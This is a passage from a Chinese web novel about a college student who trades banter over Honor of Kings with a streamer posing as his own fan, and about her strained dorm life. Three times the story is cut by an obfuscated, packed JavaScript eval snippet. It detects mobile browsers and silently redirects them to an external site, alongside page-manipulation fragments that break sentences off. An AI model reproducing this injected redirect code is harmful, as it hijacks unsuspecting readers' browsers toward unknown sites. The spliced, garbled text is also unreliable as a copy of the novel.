然而秦见夏由于一套技能全部放完,除了抗伤害外毫无还手之力,不幸被姗姗来迟的虞姬截胡,在团战里贡献了本局己方的第一颗人头。 孙尚香靠蛇形走位不断输出虞姬和不知火舞,再度收获双杀。 此时的孙尚香仍然是全场经济第一,战绩【3/0/2】。猴子和孙尚香不相上下。 龙坑团结束后,几人又回到各自分路。孙尚香清完下路兵线,带着蔡文姬转战中路,试图拔掉中路一塔。 秦见夏看着这个作战风格,隐隐觉得有些熟悉,但说不上具体缘由。 结果孙尚香大摇大摆、毫不客气地吃了小乔的线。 秦见夏不禁在心中暗评,此人简直太没品了。 她玩射手前期就从不抢中路经济。 此时对面不知火舞1v3,完全不敢从塔下出来清线,只等庄周来后,才偶尔扔出扇子消耗血量。 秦见夏已经做出圣杯,不再担心耗蓝问题,一见队友掉血就开一技能补状态,所以下一波开团前,己方队友血量都是满的。 孙策又开大,拉着兰陵王从上路驱车来中路开团。 己方吕布当即对着人多的地方跳大,输出都跟在吕布身后,蔡文姬及时上前给队友们套主动装备护盾,并对中路一塔释放干扰。 猴子两棍把中路一塔敲掉,孙尚香提枪翻滚上前一顿输出,打出连串暴击拿下双杀,还追着虞姬打算实现三杀。 秦见夏提示自己没干扰,只能开大跟在孙尚香身旁,准备抗塔助攻。 敌方虞姬丝血时,秦见夏怕她开盾跑路,下意识扔二技能捆她。 结果—— 【蔡文姬】击杀【虞姬】 秦见夏:“……” 哈哈,这蔡文姬二技能伤害还挺高。 她再度飞快地发了快捷信号:「抱歉」 虽然她一般装完*后,才会发「抱歉」阴阳对面。 但这局,真是字面意思的抱歉。 谈继秋:“……” 似曾相识的场面。 秋神给我打钱(蔡文姬):「抱歉,不是故意抢你三杀。」 都别抢我辅助(孙尚香):「没事。」 都别抢我辅助(孙尚香):「你挺粉随正主。」 言外之意是,他自己也经常抢队友人头。 秦见夏一见这话就自动开启雷达—— 「你是在阴阳jichoo吗?」 秋神给我打钱(蔡文姬):「还好我已经脱粉三年了:)」 5. 抢人头 谈继秋:“……” 都别抢我辅助(孙尚香):「?」 都别抢我辅助(孙尚香):「脱粉了为什么还起这个id?」 秋神给我打钱(蔡文姬):「舍不得花钱买改名卡。」 都别抢我辅助(孙尚香):「……」 谈继秋气极反笑。 搞不懂他为什么放着英雄联盟的一呼百应不播,跑来王者荣耀受这个窝囊气? “都怪你。” 谈继秋单手抄起抱枕,冷脸砸向对面的Fine,仿佛随手丢了个垃圾。 Fine这两天休假,本来正舒服地躺着和新交往的女朋友视频聊天,结果被谈继秋砸懵了:“你发什么神经!?” 这人干什么都是一副活人微死的样子,也瞧不出来生没生气。 所以Fine感到一头雾水。 谈继秋懒得理他,又低下头继续在王者峡谷征战四方。 猴子大王66(孙悟空):「这么巧么?原来你们也是jichoo粉丝啊。」 猴子边刷野边加入聊天。 秋神给我打钱(蔡文姬):「现在不算啊。」 秋神给我打钱(蔡文姬):「只是年少无知的时候粉过。」 谈继秋本来不打算理这个黑粉,但还是忍不住问了一句:「为什么这么说?」 他好像没塌房吧? 秋神给我打钱(蔡文姬):「jichoo现在也没什么热度了吧?」 秋神给我打钱(蔡文姬):「感觉他粉丝都当爷爷奶奶了。」 谈继秋:“?” 猴子大王66(孙悟空):「谁说他没热度,我还看他直播呢。」 猴子大王66(孙悟空):「但他这几天好像没怎么播。」 兰陵王去死(小乔):「别聊了大哥们,打团了。」 猴子大王66(孙悟空):「小乔你少被兰陵王抓死几次我们早就一波了。」 兰陵王去死(小乔):「你叫什么?」 猴子大王66(孙悟空):「我叫莫清谷」 兰陵王去死(小乔):「6」 秦见夏笑得前俯后仰,忍不住截图:“哈哈哈哈哈哈哈哈!” 兰陵王去死(小乔):「莫清谷,你现在的主要任务是小升初。」 猴子大王66(孙悟空):「还好我已经初二了。」 兰陵王去死(小乔):「符合我对猴子玩家的刻板印象。」 为了避免他俩吵起来,影响秦见夏的晋级赛,她立刻打字:「快开团一波呀,我马上要吃饭了」 此时,己方滚雪球般将兵线带到高地,对面仍在负隅顽抗。 蔡文姬的弹弹球二技能一下捆住五个,然后吕布、孙尚香和猴子闻着味就冲上去输出。 孙尚香第三次斩获二杀,又差一丝血就能带走不知火舞,拿下三杀。 结果,秦见夏看到敌方就差一丝血皮,实在没忍住……又平a了一下。 【蔡文姬】击杀【不知火舞】 谈继秋:“……” 彻底服了。 之后众人以迅雷不及掩耳之势爆了水晶,收获比赛胜利。 秦见夏看着手机屏幕上的巨龙一飞冲天,段位升为王者,十分满意地截了图,准备下线去食堂买饭,却意外收到好友申请。 “啊啊啊忘记关好友申请了——” 她咆哮出声。 其实秦见夏每次喷完人后,都会秒关好友申请。 这是属于自己的“青少年保护模式”。 喷完拂衣去,深藏功与名。 而且会让对面更加破防。 唯独这次着急吃饭,忘记关了…… 都别抢我辅助:【听说你从不坑队友,我也是。约吗】 居然是刚刚那个孙尚香。 秦见夏顿时感到汗流浃背。 她手欠地抢了好几次射手的人头,难不成—— 他是特意来骂她的? 她本来打算直接拒绝,但转念一想,这人最开始还一声不吭地抢了她的位置呢! 优势在我。 她在互联网喷人战无不胜的唯一秘诀,就是抓住主要矛盾,并且咬死不松口。 而且最近压力值爆表,正好有人送上门来发泄,那就喷个爽。 秦见夏立刻点击同意,打开好友对话框的键盘,做好战斗准备。 想了想,还是决定先发制人。 秋神给我打钱:「:)」 这个表情进可攻退可守,能屈能伸、十分灵活。 简直相当适用。 结果那人发来一句—— 「上把打的不错。」 秦见夏:“……” 秦见夏:虽然但是,应该用这个“得”。 秦见夏看着这人的纯黑色头像,心想哪来的非主流。 用得着你点评? 要换做别人,她必是嘲讽一下。 然而她上一把的确抢了人家几个头,于是打字道:「抱歉,上把抢了你人头」 刚给「都别抢我辅助」道完歉,秦见夏又收到一条好友申请,是上把的猴子。 想到「猴子大王66」也是Jichoo的粉丝,她顺手点了同意。 秦见夏加完好友后,一看食堂都快下班,立刻将手机塞进口袋,换上鞋,问室友苏织要不要一起去食堂买水煮菜。 苏织见陈文欣不在,一口同意:“去!你等我换下衣服,马上好!” 她语气活泼,动作麻利地踩着梯子往上铺爬。 苏织便是二次元室友之一。 但她和陈文欣不同,她的二次元浓度淡一些。她不会像陈文欣那样经常使用日语做口头禅,只说一些她们圈子的人才能听懂的话。 和苏织相处起来,会舒服许多,至少她不会隐隐排挤三次元——也就是秦见夏。 其实秦见夏能感觉到,陈文欣最讨厌她。 因为之前陈文欣拉着苏织讲“二次元加密语言”的时候,秦见夏偶尔试图加入话题,捧几句场,每次陈文欣都会瞬间噎住,且露出一言难尽的表情,搞得气氛十分尴尬。 被同样打为“现充”的室友林喜,也会时不时地插话。 但至少陈文欣只是笑着说:“你听不懂的,这是我们二次元的东西。” 久而久之,秦见夏和林喜都不再搭腔。 宿舍氛围也愈发奇怪,一半聊得热火朝天,一半自顾自地闷头做自己的事。 只要陈文欣不在宿舍,气氛就融洽许多。 苏织不会主动开启二次元的话题,秦见夏和林喜都说得上话,大家的聊天基本围绕现实学习生活和网络热点,彼此均没什么攻击性。 哪怕她们的关系不像朋友那样亲密,但也默契地维持着成年人的体面。 正如此刻—— 陈文欣这两天在空教室备考六级,剩下的人自动组成饭搭子。 等苏织换衣服时,秦见夏解锁手机,看到那人回了消息。 【2023/6/1218:55:22】 都别抢我辅助:「没事。」 【2023/6/1219:00:40】 都别抢我辅助:「其实我也是jichoo的粉丝。」 秦见夏觉得这人简直莫名其妙。 秋神给我打钱:「哦」 秋神给我打钱:「所以?」 都别抢我辅助:「你下次打王者可以拉我。」 秦见夏心道,这是给自己找御用辅助来了? 没门。 主玩射手的一般很难遇到靠谱辅助,碰到十个有八个都跟男朋友打野,所以射手经常被称为孤儿AD。 LOL只玩AD的主播就会广撒网,加一堆辅助好友双排上分,避免出现孤儿AD的局面。 这人明显是大佬小号,估计也是看她辅助玩得还行,想让她给他当御用辅助。 秋神给我打钱:「我也是玩ad的」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669816|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我换好了,我们去食堂吧!” 苏织从对面上铺灵活地蹦了下来,走到墙边换上她的白色坡跟小皮鞋,不忘偏头提醒秦见夏。 秦见夏立刻关了手机,跟在苏织身后出门。 夏季暴雨天后,水泥地面干得很快,空气里传来潮湿又清新的气息。 秦见夏提着垃圾袋,等苏织将老掉牙的宿舍木门用力关上。 两人并肩走出几步,洁白的瓷砖地面荡起苏织小皮鞋发出的回响。 身侧,绯红的晚霞透过走廊偌大的玻璃窗,如焰火般迸进她们眼底。 落日熔金。 秦见夏回忆起,这便是上学期摄影课老师讲过的,一天中的“Magichour”,魔术时刻。 她不由得滞住脚步,单手举起手机,拍了张LivePhoto。 苏织习以为常地等在一旁。 走廊尽头,付费吹风机的声音嗡嗡作响,窗外的楼下传来熙熙攘攘的人群声,他们可能选了《形势与政策》周一的三节晚课,也可能是去上公共课。 秦见夏和室友慢悠悠地往楼下走,有一搭没一搭地聊着八卦,偶尔迎面走来眼熟的同学,彼此对上目光后,还会热情地打几声招呼,顺便寒暄两句。 如果大学生活没有作业,也不用考虑前途,应该会十分美好。 “哎织织——咱们形策这学期是不是只写个论文就行啊?”秦见夏忽然想起,“论文什么时候交来着?” 苏织漫不经心地说:“不知道啊,学期末吧。” “可是……现在已经六月中旬了。” “!?” 于是两人在去枚园食堂的路上,打开手机疯狂搜索聊天记录,终于查到ddl的截止日期是下周五之前,也就是二十三号。 “吓死,还好没错过截止日期。”秦见夏收起,长抒一口气。 苏织比她还摆烂,相当看得开:“不着急——还有一周呢,周四再写!” 秦见夏:“有道理。” 两人并肩穿过学校建的一小片人工竹林,爬到枚园食堂二楼,路上还不忘吐槽这巴掌大的小竹林纯属浪费钱,石子路硌得脚疼。 距离她们枚园宿舍楼最近的枚园食堂,历来下班最积极,晚上七点半之后就基本关门了,现在才七点出头,也只有零星几家档口还在营业。 二楼的水煮菜算是营业时间比较长的档口,秦见夏和苏织这种吃饭时间异于常人的,都很喜欢这家水煮菜。 水煮菜,顾名思义就是用骨汤煮的蔬菜,最后现场泼上一勺秘制辣椒油,和冒菜有些类似。 店家会配一碗米饭,如果堂食就可以无限续饭,如果打包带走,阿姨就会尽可能地将一次性纸碗塞满。 秦见夏凑到窗口前,微微弯腰,对阿姨说:“阿姨,打包一份肉片土豆,多辣。” “诶——好嘞!” 南方口音的阿姨十分热情地在机子上输入金额,秦见夏抬起自己挂了一串钥匙扣的钥匙串,“滴”地一声刷了校园卡,自觉拿起小票在一旁等待苏织。 苏织要了不辣的火腿土豆,同样打包带走。 两人点完单,趁等餐间隙,闲聊着穿过食堂二层,拨开塑料门帘,从东边旋转楼梯下楼,去一楼的蜜雪冰城买了各自喜欢的饮品,以及人手一个新出的抹茶甜筒。 这是她们的常用路线。 苏织边吃边说:“我们家那边还有其他各种口味的呢!我也是来滁省上了大学才知道,你们外地居然只有原味。” “是吗——诶呀好想吃别的口味啊……” 一杯四块的高山四季春和一碗十二块的特辣水煮菜,治愈了秦见夏的大学时光。 等餐时,秦见夏打开Q|Q,查看班群的作业要求,发现又收到了游戏消息。 【2023/6/1219:35:10】 都别抢我辅助:「我可以给你打辅助。」 秦见夏觉得,这人真的很莫名其妙。 6. 再打赌 “你真是莫名其妙。” 听谈继秋描述完事情经过后,Fine如此辣评。 “因为粉丝脱粉,你不服气,就要拉着人家打王者荣耀。” “你怎么不找人家打撸啊撸呢?” “还‘其实我也是Jichoo的粉丝’~” Fine阴阳怪气。 “语音转文字说出来的时候自己笑了没?” 谈继秋把手机往沙发上一扔,头倒在靠背上,望着奢雅的天花板,叹气。 “确实莫名其妙,但——我觉得她挺有意思。” “你粉丝把你喷了你觉得他有意思?”Fine难以置信,“兄弟,你没发烧吧?” Fine说着就要上手去探他额头,被谈继秋一巴掌拍掉。 “你不觉得,冒充自己的粉丝和她打游戏,然后某天她突然发现,这个游戏搭子居然就是她偶像本人,这种感觉很爽吗?” Fine:“可是人家已经脱粉了啊?” “脱粉也叫粉。” “正因为她脱粉了,所以才比较爽。” 谈继秋不得不承认,自己也被Fine传染了恶趣味。 “而且,她脱粉只是因为我没之前热度高,”他理性分析,“我可以再让她粉上我,然后告诉她——我就是Jichoo本人。” Fine叼着吮指原味鸡走过来,还是摸了摸他的额头。 “看来病得不轻。” “老谈,难道你被夺舍了?”Fine一脸活见鬼的表情,“你面对Daybreak的时候,都没这么像活人。” 谈继秋懒得解释,只是将Fine的油手拍开,微微蹙眉:“樊鸣津,你真是欠收拾了。” 他一边洁癖地用抽纸擦拭额头,一边扬了扬下巴:“现在,我要看到Switch的下单记录。” “爹的,就是这副死样子。” “看来是你本人没错。” Fine拿起手机,边下单边吐槽。 将购买记录给谈继秋展示完后,Fine忽然把吮指原味鸡一扔,伸出食指,比成“1”的手势,笑容猥琐:“敢不敢再打一个赌。” “什么赌?” “让你那个脱粉的小粉丝,主动去直播间给你刷礼物加粉丝团,你和他连线打一把游戏就行。今年九月我给你买512G的iPhone15Promax,怎么样?” “不赌,”谈继秋恹恹地掀起眼皮,“你没完了?” 虽然他的确有“冒充成自己粉丝和她双排”的想法,但真拿粉丝打赌也太没品了。 Fine当即一拍茶几:“你怂了!” “不就是攻略一下粉丝吗?怎么,没把握让粉丝重新喜欢上你?” “还是拉不下老脸,怕他喷你?” “堂堂秋神、堂堂电竞维纳斯,现在变得这么没自信吗?神?” 谈继秋扔下一句“无聊”,起身拉开电竞椅,坐下准备开播。 “那再加个4090水猛禽?” Fine仍不死心,增加筹码。 谈继秋戴上耳机,无可奈何:“成交。” “最后一次。” 连头都懒得回。 Fine早已对兄弟这副死样子习以为常,掏出手机打着字:“一会发微博为证,不许反悔!” 谈继秋启动OBS,心想—— 建小号刷个礼物就行了,回头再找陪玩冒充那个粉丝。 “别以为我不知道你在想什么,”Fine发完微博,预判道,“老子会亲自查你手机,看那个粉丝是不是他本人。” 谈继秋:“……” 随便,大不了亏钱。 宿舍里,秦见夏边看脱口秀综艺边吃水煮菜,感到某位漫才组合讲得有些无聊,便打开手机刷微博热搜。 突然发现Jichoo和Fine挂在文娱榜上,正好闲得没事干,她吸了口冰镇四季春,点进去一探究竟。 FYZヽFine:「本人和Jichoo打赌,赌注是512G的iPhone15Promax和一块4090水猛禽,谁输谁送,为期三个月。」 Jichoo:「本人和Fine打赌,赌注是512G的iPhone15Promax和一块4090水猛禽,谁输谁送,为期三个月。」 底下评论都在扣问号。 秦见夏评价:“莫名其妙。” 她退出微博,又事不关己地继续看综艺。 秦见夏和苏织二人都小声外放着各自的下饭视频,房间内静得只剩视频声和咀嚼声。 最近只有她俩在宿舍。 陈文欣天天出去备考六级,晚上十点多才回来装模作样地边聊天边背单词。 准备入党的林喜,自从大一加入院学生会又当上团支书后,天天忙得脚不沾地,一般只有晚上睡觉才在宿舍。 秦见夏和苏织则是两个大混子。 秦见夏一开始也竞选了副班长,后来嫌弃琐事太多,又捞不到任何好处,甚至连入党都没机会,所以大三一开学就辞了。 陈文欣不在,她倒是乐得清闲,刚好得以天天窝在宿舍摆烂。 陈文欣排挤她,她当然也更讨厌陈文欣这个负能量的大嗓门。 从大二下学期开始,只要陈文欣在宿舍,秦见夏都会选择去图书馆或者教室,哪怕冒着被挂表白墙的风险在图书馆六楼睡觉,也不愿意待在宿舍看见她那张死气沉沉的脸。 不过,最大受益者貌似是苏织。 有次一起去食堂买饭的路上,她听到苏织不经意间感叹:“终于不用陪陈文欣吃堂食了。” 秦见夏不解,问她怎么了。 “每次欣欣都为省一块钱打包费吃堂食,看我打包就阴阳怪气,说我是有钱人,后来我就不打包了,天天陪她吃堂食……” 苏织似乎积怨已久:“食堂真的很吵啊!本来上学就烦,还不能安安静静地吃个饭!打包多好呢,你说是吧?” 秦见夏也不好多说,只道:“英雄所见略同。” 食堂阿姨们清理碗筷的声音很大,秦见夏也不太爱在食堂吃。 她也不是富裕家庭,一个月生活费并不多,起初其实也有些舍不得打包钱,但自己洗了两次饭盒之后,这额外的一块钱打包费就掏得心甘情愿了。 “叩叩叩——” 倏地,有沉闷的敲门声传来。 秦见夏下意识以为是学生会来查宿舍违规电器,条件反射地与苏织对视一眼,准备不发出声音,装作宿舍里没人。 结果苏织转念想起什么,边扶眼镜边叹了口气,不情不愿地起身,趿拉拖鞋跑去开门。 “诶呦——我说你下次能不能自己带钥匙开门啊?我们都是自己开门,你怎么每次都要我帮忙?” 门口那人手上拿着一个快递,一双眼睛又圆又大,看上去十分感激:“谢谢太太!阿里嘎多够咋衣麻斯!” 她想了想,又小心翼翼地撒娇补充道:“拿快递没手了嘛~谢谢老婆!” 苏织将视线下移,瞥见她手上的一个小包裹,嗤了一声,直接翻了个白眼,扭头往座位走。 秦见夏倒是不觉得苏织在生气,她早已对两个二次元室友的相处模式熟视无睹。 苏织总是上一秒骂骂咧咧,下一秒又和陈文欣嬉戏打闹。 毕竟已经是叫“老婆”的关系了。 陈文欣懂事地自己关上门,慢吞吞转身走来时,已经换上丧丧的表情。 她“嘭”地一下,将老旧的大书包墩到书桌上,然后扭头打量另外两人,发现她们都在吃同样的菜。 于是她眨着大眼睛,怯生生地明知故问:“你们才吃饭吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669817|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >秦见夏没戴耳机,不好装作没听到。 但迟迟没等来苏织的回应,她只好从iPad里抽出目光,换上恰当的神情,偏头对她热情推荐:“枚园二楼水煮菜,特别好吃!好吃到疑似里面加东西了!” “你不是在减肥嘛,我上学期减脂的时候就顿顿吃水煮菜,不要主食,让阿姨少给你泼点辣椒油就行,推荐你去尝试一下!” “啊,”陈文欣表现出一副很震惊的样子,“是之前三楼那家水煮菜吗?” 秦见夏听她语气不对,迟疑地点了点头:“对,这学期从三楼搬下来了,阿姨说二楼刚好有空窗口,在二楼生意会比三楼好点……” “可是——我觉得这家水煮菜很难吃诶,油也太大了,还没我家小县城那边的菜好吃,”陈文欣丧气道,“A大这边的饭菜太难吃了,滁省人就天天吃这些吗?感觉不如我们高中食堂。” 秦见夏:“……” 多余张这个嘴。 所以,她是说——A大一共六个三层楼食堂,汇集南北中西各地美食的几百家档口,找不出她喜欢吃的吗? 整个淮市的学生都在传“学在G大,吃在A大”,怎么到她这里,她们A大“各园大酒店”被贬得一文不值了? 小县城的所有餐馆加起来,有A大食堂的窗口多吗? 况且,学校西门对面就是美食一条街,加上路边摊更是数不胜数。 这么多难道都不合她口味? 尽管内心有诸多想法,但秦见夏还是下意识圆场道:“可能是大家口味不同吧,我口味比较重,倒是觉得咱学校的饭还挺好吃的。” 她本来想说她不挑食,但转念一想,觉得这样说有些阴阳。 毕竟还要再相处一年多,以和为贵比较好。 “你家就在隔壁南城,你当然觉得这里的饭好吃了,”陈文欣反倒来劲,“我们北方人就觉得吃不惯,太太——你说是不是?” 她看向苏织,试图得到闺蜜的拥护。 结果苏织沉迷动漫,嘴上敷衍道:“我觉得还好吧,我胃不好,在哪吃都一样。” 秦见夏的大学在淮市,离她家南城很近。两座省会城市属于不同省份,但坐高铁只需要半个小时。 由于地域接壤,两地饮食习惯和气候几乎相差不大。 陈文欣天天酸她在家门口上大学。 秦见夏本来觉得为这个争执太没意思,打个哈哈过去算了,但嘴巴还是比脑子快一步。 “我妈也是燕省人啊,我从小吃北方饭菜长大的……” 秦见夏的妈妈是燕省人,爸爸是南城人,小康家庭,夫妻和睦,生活还算富足。 按照时下流行,她也称得上一句“江浙沪独生女”。 大一刚开学时,大家在宿舍里互相自我介绍,陈文欣说自己是燕省人,秦见夏还觉得特别亲切,热情道:“我妈妈也是燕省人,那咱们算半个老乡呢!” 结果谁能想到,陈文欣并没有拿秦见夏当什么老乡。 但凡涉及和地域有关的话题,陈文欣总是要往“秦见夏是宿舍里唯一的南方人”上扯。 搞得她都忍不住自恋地怀疑——陈文欣是不是在嫉妒她啊…… 陈文欣每次面对秦见夏,总持有一种复杂的情绪,似嫉妒、似厌恶,又别扭地在秦见夏和其他室友聊天时,想要插几句嘴。 这种特殊的浓烈情绪,总在陈文欣不经意间,从她的口吻中一览无遗。 然而秦见夏又觉得—— 自己不是什么大富大贵的家庭,长相普通,身高平均,唯一的瘦子优势还在渐渐消失,成绩一般,知心朋友也不是很多,甚至连好闺蜜都迟迟寻找不到。 而且她还不像林喜那样自律。 实在是,没什么可嫉妒的点啊。 反正她一直不太理解,陈文欣对她的敌意,到底从何而来? 7. 被讨厌 陈文欣来自高考大省,三年来,她总是诉说自己高考的不易和地域的不公平。 每当这时,作为她眼里的“既得利益者”,秦见夏通常会选择沉默,只是听陈文欣给她自己冠上“高考最不容易”的title。 然而,另外两位室友也都出自其他著名的高考大省。 她们却不会抱怨这些,偶尔聊起高考也只是自我调侃几句,并没有强烈的愤懑要抒发。 秦见夏不知道陈文欣哪来那么多委屈? 明明整个宿舍只有她文化专业双科分数均最低,是凭借政策红利才被破格补录进来的。 怎么得了便宜还卖乖呢? 陈文欣的分数根本够不到A大的录取线,但因为20年的种种原因,那年A大在燕省没招满,最后降分多补录了一个。 陈文欣正是那个被破格录取的幸运儿。 否则真要滑档上大专了。 秦见夏走的是提前批,阶梯志愿一路滑档进A大的,所以她对补录政策不甚了解。 总之,是陈文欣自己亲口说,她确实吃到了政策红利。 所以秦见夏对此真的很费解。 陈文欣不偷着乐也就罢了,天天叫冤是出于一种什么样的动机? 真觉得不公平就去努力改变它,散发怨气解决不了任何问题。 这个道理连邪剑仙都知道。 她有时甚至会暗自恶意揣测,或许陈文欣在通过吐槽地域的不公,来掩盖自己低分捡漏的事实—— 她们专业20级90%的同学,都是985和头部美院落榜来的,还因此被老师们称为“最有实力的一届”。 秦见夏自然也是落榜来的。 如果不是由于那年的不可抗力,和临时改变的投档政策,秦见夏此时应该身处晋海头部985上床下桌的宿舍里,而不是在这个中下流211,与这种怨天尤人的同学共沉沦。 她高考超常发挥,文化专业两门加起来的综合分,超过那所985历年录取分数一百多分,虽然只在本省招一个学生,但秦见夏认为,这千里挑一非她莫属。 一家人都提前开香槟庆祝了。 结果等来了A大的录取通知…… 原因是受不可抗力影响,许多美术生都没参加校考,导致投递政策临时改变,采用专业分单科投档到那所学校,不再是历年的综合分投档。 但秦见夏的专业分却很平庸,主要靠文化课为自己锦上添花。 甚至就那一年改了政策,之后又继续采用综合分了……但秦见夏不想复读。 就这样倒霉地来了A大。 苏织就更惨了,她是因不可抗力放弃了W大选的A大,而且她还有Q美的小圈合格证,作为理科生文化课也是五百多分,可以说是专业文化两开花。 结果还是来了A大。 据秦见夏所知,她们这届同学有好几个都是从Q美Y美落榜来的。 但她们现在也同样优秀,并没有因落榜而自怨自艾。 环境只是影响因素,并非决定性因素。 优秀的人,不管在哪里都同样优秀。 只有弱者才会喋喋不休地上蹿下跳。 陈文欣明明是实际的既得利益者,却要站在一群真正的受害者里卖惨。 大家为了安慰她,才道出自己落榜的隐痛,试图劝她“你看我更惨吧”。 结果,她非但不领情,还别扭地默默自卑,认为别人在借此散发优越感来贬低她。 秦见夏真的觉得,她是个非常奇怪的人。 她从前完全没有这样的同学。 但说实话,她也很同情她。 因为陈文欣的高中生活,好像真和网上说的一样悲惨。 她们宿舍的其他人,应该也是这么想的。 所以天天帮陈文欣带饭、打印论文、拿快递,然后获得她一句热情却不走心的“谢谢妈咪”。 不过秦见夏只是心理上表示同情,生理上倒懒得帮忙。 陈文欣找她提过几次请求,她统统找理由婉拒,后来陈文欣就御用苏织跑腿了。 她想,这或许也是陈文欣讨厌她的原因之一。 被讨厌就被讨厌吧,她可不乐意给人当“妈咪”。 秦见夏倒是乐得清闲。 她本就不乐意和这类人玩,总要小心翼翼地对待他们,相处起来太累。 还是和心胸敞亮的人交往比较舒服。 以至于许多朋友对秦见夏的印象都是——她性格很好。 “行了——你们信息设计作业做完没?”苏织出面打断这场莫名其妙的闹剧,瞥向陈文欣,“你呢,你那部分什么进度了?” 陈文欣当即带有表演性质地惊讶看她:“啊?太太你!你不是说那部分你来做吗?私密马赛太太酱,我耳朵不好当时可能没听清……” 苏织:“……” 她无语地瞟了陈文欣一眼,翘着二郎腿背靠转椅,挥了挥手,不耐烦道:“算了算了,你别做了,我做吧,反正你做的我也不满意,最后还得是我再改一遍……ppt我也一块儿做了,去去去——背你的单词去。” “哦。” 陈文欣短促地回应一声,转过头继续收拾东西,短发侧沿将她的表情遮住。 只能听到她一副疲惫的口吻:“谢谢妈咪,我最近备考太累了,可能忘了,那就拜托太太啦!” 苏织再度沉默。 秦见夏没回头,所以不知道苏织又翻了个白眼。 其实秦见夏一直心大地以为苏织就爱当妈,给陈文欣擦屁股擦得不厌其烦,苏织态度差、发脾气,只是她俩的“打情骂俏”。 ——毕竟苏织只会对陈文欣发脾气。 林喜其实在大一第一面时,就发现陈文欣和苏织抱团这件事,秦见夏一直在努力融入她们二次元,但林喜自己确实无法融入,就扭头和其他老乡同学一起玩了。 后来秦见夏融入失败,自己玩自己的,林喜依旧和老乡玩,陈文欣仍然赖着苏织抱团,导致她们宿舍出现三国鼎立的局面。 苏织把陈文欣打发走,又吸着奶茶偏头问秦见夏进度。 秦见夏懒洋洋地守着ipad,头也不回:“我还没做呢,反正我一个人组队,也不用碰方案,这两天赶一赶就行。” “不过——周老师那天锐评我的茶叶信息设计,是他十年前上学的时候做过的,意思是我很土。所以我在纠结要不要改方向……” 秦见夏之前和自己这两位二次元室友以及同班同学都组过小组,最后绝望地意识到,还是自己一个人做效率更高。 之前和苏织、陈文欣组队的时候,陈文欣几乎什么都不干,只拖到最后画个二次元风格的简易Q|Q人。 哪怕那门专业课的老师,曾经明确说过他讨厌二次元风格,让她们组换方案,但陈文欣仍然坚持己见,丝毫不顾及她们小组作业的整体风格。 结果那次校园文创的课题,前面设计方案比较落地,设计内容也符合产品调性,只在策划案的倒数第二页把陈文欣的Q|Q人塞了进去…… 然后——被老师勒令删除。 还有一次是和她俩做产品包装。 本身小组分工是陈文欣负责ip设计和产品建模,结果该陈文欣建模了,她说自己的老版MacBook带不动,要借苏织的20款Air用。 可是苏织自己的part还没完成,只能把陈文欣的建模留到最后。 拖到最后的下场就是—— 陈文欣说自己生了重病,持续耳鸣熬不了夜,再熬夜就要请假住院休学,所以只做了ip。 这个ip同样是她三年如一日的Q|Q人风格。 苏织埋怨她,她却倒打一耙:“谁让你们总是拖到最后。” 秦见夏和苏织两个窝囊废,只好再把她的工作揽下,一人一杯咖啡地抱着电脑在艺术楼赶通宵。 那是她第一次在教室通宵。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669818|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此生难忘。 赶到天亮的时候,她头晕目眩地对苏织说:“我感觉我得道飞升了。” 苏织让她少看点晋江小说。 回到宿舍后,陈文欣甚至还埋怨起分工有问题,明明知道她电脑带不动,还让她负责建模。 两人:“……” 不是你天天瞧不起老师教的c4d老土,吹嘘自己会Blender的吗…… 陈文欣天天一副行业精英的姿态,拥有对各大3d软件样样精通的高傲劲儿。 最后反倒是讨厌建模的秦见夏,边查教程边用c4d手搓出来的产品模型…… 她怎么还狗叫上了。 这分工明明是以陈文欣优先的,当初分完工她也没有异议啊。 尤其ip还是她的舒适圈,这种正视图小ip半个小时就能画完。产品建模也是很简单的长方体盒子,基本可以称之为尺寸算对就行。 她们原先体谅她电脑老旧,都没让她直接贴图渲染。 陈文欣不仅工作量最轻,说自己社恐无法做pre,还总是催秦见夏和苏织赶进度。 她自己则躺在床上打原神,只动一张嘴。 于是—— 整体产品平面图、产品建模渲染、展板设计、三十五页ppt、还有上台汇报都是秦见夏和苏织两人分工完成的。 陈文欣只画了个二次元小人扔给她们,还被老师点评这个ip不符合产品调性,又被指桑骂槐地说了第N遍—— 设计作业里不要渗透二次元风格。 搞得负责pre的秦见夏直接挂在讲台上,面红耳赤地挨训了整整五分钟…… 这是她人生里最漫长的五分钟。 交最终作业前,陈文欣依旧不愿意改,她们也不好直接把她的东西删掉,就只能自暴自弃地这么把作业交上去了。 结果显而易见地,三个人得到了一样的分数。 苏织和秦见夏把肝熬穿、把电脑做废,收获了和陈文欣一样的八十分。 秦见夏从此立誓,再也不做小组作业了。 